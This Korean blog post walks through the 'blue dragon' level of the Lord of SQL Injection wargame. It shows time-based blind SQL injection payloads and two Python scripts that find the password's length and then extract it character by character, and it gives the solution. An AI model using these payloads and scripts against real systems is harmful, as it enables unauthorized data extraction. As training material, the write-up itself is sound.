-
<Lord of SQL Injection> blue dragonWargame/Lord of SQL Injection 2021. 11. 29. 13:30
GET 방식으로 전달받은 id와 pw에서 prob, _, .을 필터링한다.
$query의 결과를 $result 배열에 저장한다. 이 $result['id']의 값이 있으면 "Hello admin"을 출력한다.
그 뒤, 전달받은 id와 pw에 싱글 쿼터('), '\'를 필터링한다.
두 번째 $query의 결과를 $result 배열에 저장하고 $result['pw']의 값이 전달한 pw와 값이 같으면 문제가 풀린다.
앞의 문제 처럼 한 줄 주석을 사용해서 먼저 풀어보았다.
?id=admin%23&pw=%0a을 입력해서 쿼리를
select id from prob_blue_dragon where id='admin#' and pw='
'
의 형태로 만들어 보면
아무것도 출력하지 않는다.
필터링을 한 번에 하지않고, 두 번에 나누어 하는 것에 집중했다.
처음 필터링에서 싱글 쿼터(')를 필터링하지 않고, 쿼리를 출력한다.
이를 이용하여
?id=' or if(length(pw)>pw의 길이, sleep(3), 0)을 입력하면
"No Hack ~_~"을 출력하지만, exit()이 실행되기 전에 쿼리를 출력하는데 if문이 참이면 쿼리를 출력하는데 3초 이상이 걸린다.
파이썬 코드를 이용해서 pw의 길이를 구해보면
import requests import time baseurl = "https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php" cookies = {"PHPSESSID" : "PHPSESSID 값"} for i in range(1, 100): url = baseurl + "?id=' and if(length(pw)={}, sleep(3), 0)%23".format(i) start = time.time() res = requests.get(url=url, cookies=cookies) end = time.time() if end - start > 3: print("pw_length : ", i) break
pw의 길이가 8인 것을 확인할 수 있다.
이제 pw의 첫 글자를 찾기위해
?id=admin' and if(ascii(substr(pw,1,1))=100, sleep(3), 0)%23을 입력하면
3초 이상이 걸린다.
파이썬 코드로 나머지 글자들도 찾아보면
import requests import time baseurl = "https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php" cookies = {"PHPSESSID" : "PHPSESSID 값"} pw = "" for i in range(1, 9): for j in range(33, 127): url = baseurl + "?id=admin' and if(ascii(substr(pw,{},1))={}, sleep(3), 0)%23".format(i, j) start = time.time() res = requests.get(url=url, cookies=cookies) end = time.time() if end - start > 3: pw += chr(j) print("pw : ", pw) break print("pw : ", pw)
두 번째 쿼리에 id는 'admin'으로 고정되어 있기 때문에
?pw=d948b8a0를 입력하면
문제를 해결할 수 있다.
'Wargame > Lord of SQL Injection' 카테고리의 다른 글
<Lord of SQL Injection> phantom (0) 2021.12.02 <Lord of SQL Injection> frankenstein (0) 2021.12.01 <Lord of SQL Injection> red dragon (0) 2021.11.28 <Lord of SQL Injection> green dragon (0) 2021.11.27 <Lord of SQL Injection> evil wizard (0) 2021.11.26